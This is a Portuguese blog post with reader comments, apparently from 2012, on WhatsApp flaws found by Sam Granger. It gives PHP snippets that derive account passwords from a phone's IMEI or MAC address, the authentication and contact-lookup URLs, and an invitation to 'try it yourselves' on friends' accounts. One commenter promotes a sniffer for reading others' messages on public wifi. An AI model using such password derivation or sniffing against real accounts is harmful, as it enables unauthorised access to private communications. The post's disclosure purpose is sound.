WhatsApp Messenger é vulnerável!

23 Comentários

Mais de mil milhões de mensagens trocadas diariamente. E se conseguisse aceder as mensagens dos seus amigos?

O WhatsApp Messenger é um dos mais populares serviços para troca de mensagens entre utilizadores. Para enviar e receber mensagens, o  WhatsApp necessita de ter acesso à Internet, através de uma ligação 3G/4G ou Wifi. O WhatsApp é bastante simples de usar, uma vez que não existe a necessidade de criar contas no serviço. Para se realizar uma comunicação, o WhatsApp Messenger identifica os utilizadores através dos contactos telefónicos mantidos no smartphone.

As ultima noticias relativamente ao serviço dão conta que este tem sérios problemas de segurança.

WhatsApp_00

Hoje em dia são muitos os serviços que os utilizadores têm à disposição para comunicarem entre si. Um dos serviços mais usados é o WhatsApp, que de uma forma muito simples, permite a troca de mensagens entre utilizadores. Recentemente soube-se que antes de Agosto de 2012, este serviço não cifrava a informação ou seja, as mensagem podiam ser facilmente interceptadas/snifadas na rede e facilmente interpretadas.

Nessa altura a empresa responsável pelo serviço referiu que a ultima versão mantinha a confidencialidade da informação, tendo sido incluídos mecanismos para cifrar os dados trocados entre as comunicações. No entanto o programador Sam Granger, que recentemente analisou o serviço, descobriu algumas situações caricatas e que pouca segurança garantem ao serviço.

Sam Granger afirma que os números associados ao cartão SIM dos equipamentos continuam a ser trocados em texto claro, como podemos observar pela imagem seguinte,.

whats_up_00

Outro dos “pontos fracos”  que o programador referiu é a autenticação dos dispositivos móveis no serviço. Segundo Granger  temos as seguintes situações:

Android

No caso do Android,a autenticação é “…um pesadelo em termos de segurança”. A password usada é um hash MD5 do IMEI invertido de cada equipamento:

$imei = “112222223333334”; // IMEI
$androidWhatsAppPassword = md5(strrev($imei)); //  IMEI reservo e cálculo da md5 hash

iOS

No caso do equipamentos com iOS, a password é gerada com base no MacAddress da interface Wifi

$wlanMAC = “AA:BB:CC:DD:EE:FF”; // exemplo de de um mac address
$iphoneWhatsAppPassword = md5($wlanMAC.$wlanMAC); // calculo de md5 hash usando o MAC address

Como sabemos, o utilizador do serviço é o próprio numero de telefone do equipamento (o atacante consegue saber isso facilmente) e as password são muito fáceis de obter….o IMEI de um equipamento pode ser facilmente obtido digitando no equipamento *#06# e o MacAddress de um equipamento pode também ser facilmente capturado através de um sniffer…..parabéns com esta informação, qualquer utilizador pode transformar-se num atacante e aceder às mensagens de uma conta no WhatsApp Messenger. Mas como?

Como “crackar” o WhatsApp?

Se tiverem o WhatsApp instalado podem experimentar vocês mesmos, vocês mesmo, testando uma API que faz Engenharia Reversa.

Autenticação
https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password

$countrycode = the country calling code
$phonenumber = the users phone number (without the country calling code)
$password = see above, for iPhone use md5($wlanMAC.$wlanMAC), for Android use md5(strrev($imei)) / Note that the WhatsAPP UDID has nothing to with the Apple UDID - it is something completely different.

Se tudo estiver correcto, a resposta em será algo do tipo:

Privacidade

Quando a aplicação se inicia, envia todos os seus contactos que estão disponíveis na lista de contacto para, centralmente, o servidor verifique quais é que estão activos. O sistema faz algo do tipo:

https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3&u[]=$friend4

$countrycode =  the country calling code
$yournumber = while this SHOULD be your number, it is not required, the API will accept any number 
$friendX = phone number (without the country calling code) from the address book that will be checked, u[] is an array so it is possible to check multiple numbers with one request

Do outro lado, o servidor responde com um documento XML, como todos os números registados no WhatsApp.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
 <dict>
 <key>P</key>
 <string>1234567890</string>
 <key>T</key>
 <integer>10817</integer>
 <key>S</key>
 <string>Some Status Message</string>
 <key>JID</key>
 <string>23xxxxxxxxx</string>
 <key>NP</key>
 <true/>
 </dict>
</array>
</plist>

Onde o “P”  é o numero de telefone do utilizador, o “T” é supostamente o uptime (???) e o “S” é a mensagem do utilizador. Toda esta informação é pública.

Ganger referiu que conseguiu ler e enviar mensagens de amigos que lhe deram a permissão para testar tal descoberta.

Conclusões

Assim como o Ganger qualquer um pode aceder às mensagens dos amigos (imaginem por exemplo que conseguem arranjar o IMEI ou MacAdress da interface wireless do smartphone do vosso amigo/amiga..). Se é um utilizador que usa com frequência o serviço WhatsApp e nele costuma trocar mensagens (muito) pessoais ou de negócisos, então é melhor reflectir sobre a utilização do serviço.

Partilhar:
Tags:

Comentários

23

Deixe um comentário

O seu endereço de email não será publicado. Campos obrigatórios marcados com *

  1. Avatar de Bruno Bastos
    Bruno Bastos

    Ainda hoje está a pensar que esta app estava de parabéns! Cross-plataform entre iOS e Android! Perfeito para troca de mensagens! Poderíamos mails claro, mas com esta app seria mandar sms!

    Alguém que avise os senhores desta app para meterem alguma encriptação decente!!

    1. Avatar de IR
  2. Avatar de André Ferreira
    André Ferreira

    E no Blackberry, como está essa situação?

  3. Avatar de Gonçalo
    Gonçalo

    Existem várias alternativas ao whatsapp, inclusive com a possibilidade de poder telefonar através de wifi/3g, são elas o viber e o tango, este ultimo até dá para video conferência

    1. Avatar de Gonçalo
      Gonçalo

      * vídeochamada

  4. Avatar de Claudio
    Claudio

    tive a testar e nao consegui :s

  5. Avatar de Re0
    Re0

    Uma alternativa será o Touch.

  6. Avatar de Tiago Cruz
    Tiago Cruz

    Estive a testar e aquilo que obtive não foi nada do que estava à espera..
    no primeiro teste:

    e no segundo:

    P
    $meuNumero
    T
    367
    S
    Available
    JID
    $meuNumero
    NP

    P
    $meuNumero
    T
    367
    S
    Available
    JID
    $meuNumero
    NP

    Nada de especial.. realmente tenho dois amingos online e ele develoveu dois registos, mas não me deu nenhuma informação vital.. Pode ser por ter um android e não um iPhone.

    1. Avatar de Tiago Cruz
      Tiago Cruz

      Boa, não deixou postar o xml como deve de ser, mas acho que dá para perceber que a unica informação que me foi devolvida foi o meu numero, o que é necessário para aceder a isso, ou seja, quem tenta aceder sabe o meu numero, se lhe é devolvido o mesmo, não fica a ganhar muito com isso..

      1. Avatar de Tiago Cruz
        Tiago Cruz

        testei com um contacto e devolveu exactamente a mesma coisa, o numero dessa pessoa. A pessoa em questão é Blackberry, o que me leva a pensar que isto provavelmente só afecta iPhones, até por causa do link.

        1. Avatar de Pedro Pinto

          Pois, eu nao vi qualquer referencia ao Blackberry. Talvez não use o IMEI ou o MacAddress.

          1. Avatar de Tiago Cruz
            Tiago Cruz

            testei com um iPhone e sem conhecimento da pessoa, continuo com os mesmo resultados. apenas devolve o numero, uptime e status message.. nada que eu já não saiba.

          2. Avatar de Pedro Pinto

            Temos aqui a explicação:
            http://samgranger.com/whatsapp-is-using-imei-numbers-as-passwords/

            – UPDATE –
            It seems that WhatsApp has made a change in their authentication system. I am not sure what they exactly changed, but if I find out more I will let you all know. My method no longer works.

          3. Avatar de Tiago Cruz
            Tiago Cruz

            That was fast xD

            OffTopic: Não consigo responder ao ultimo comentário, o botão para responder fica sobreposto pela div dos comentários, I guess.

          4. Avatar de Tiago Cruz
            Tiago Cruz

            na tag depth 5 a div “reply-container” não está a ser prenchida com o link para responder como nos outros niveis.

  7. Avatar de Roy
    Roy

    Estou esperando pelo Silent Circle: https://silentcircle.com para ver o que dali sai… prometem encriptação de e-mail, chamadas, conferências VoIP e mensagens de texto.
    Envolve desde os criadores do PGP a ex-membros dos Navy Seals.
    Provavelmente usarão o SHA256, RSA2048 e tal (que é o normal), e como já tem imensa experiência é provável que não cometam os erros de amadores como os do WhatsApp (que não percebem nada daquilo!). A encriptação provavelmente será relativamente fraca para proteção de desencriptação dos estados… mas pelo menos deve evitar que os conjugues e vizinhos consigam ler/ ouvir/ ver facilmente. Eu já esperava que usassem algo como o algoritmo NTRU na configuração de máxima segurança 256 bit (ou talvez até mais… 512 bit) para proporcionar uma segurança para o futuro realmente a sério (resistente a computadores quânticos) e com um impacto sobre os dispositivos e na velocidade de transmissão realmente baixa.

  8. Avatar de Ashyam

    Espero que o Pplware não deixe de reportar se esta situação tiver seguimento! 😉

  9. Avatar de João Santos
    João Santos

    Para verem as mensagens que circulam numa rede wifi pública em android é só instalar o WhatsAppSniffer (Google it)!

    E funciona! Até NIBs e códigos de segurança já apanhei!

    Enfim

    1. Avatar de João Santos
      João Santos

      Um sniffer para linux:

      http://0x80.org/blog/?p=652

      AS MENSAGENS SÃO PROCESSADAS EM TEXTO PLENO SEM QUALQUER ENCRIPTAÇÃO!

      1. Avatar de João Santos
        João Santos

        Também funciona em windows caso tenham o python e scapy instalados 😉

  10. Avatar de Felipe
    Felipe

    gostaria que alguém explicasse melhor pois não estou entendo muito bem.

  11. Avatar de Marilia
    Marilia

    Pessoal,
    Vi que uma menina conseguiu alterar seu “last seen” no Whatsapp para uma data anterior. gostaria de saber como isso foi feito. Alguem já viu algo parecido?

    Abraços.

  12. Avatar de RONI MFERNANDES
    RONI MFERNANDES

    E OTIMO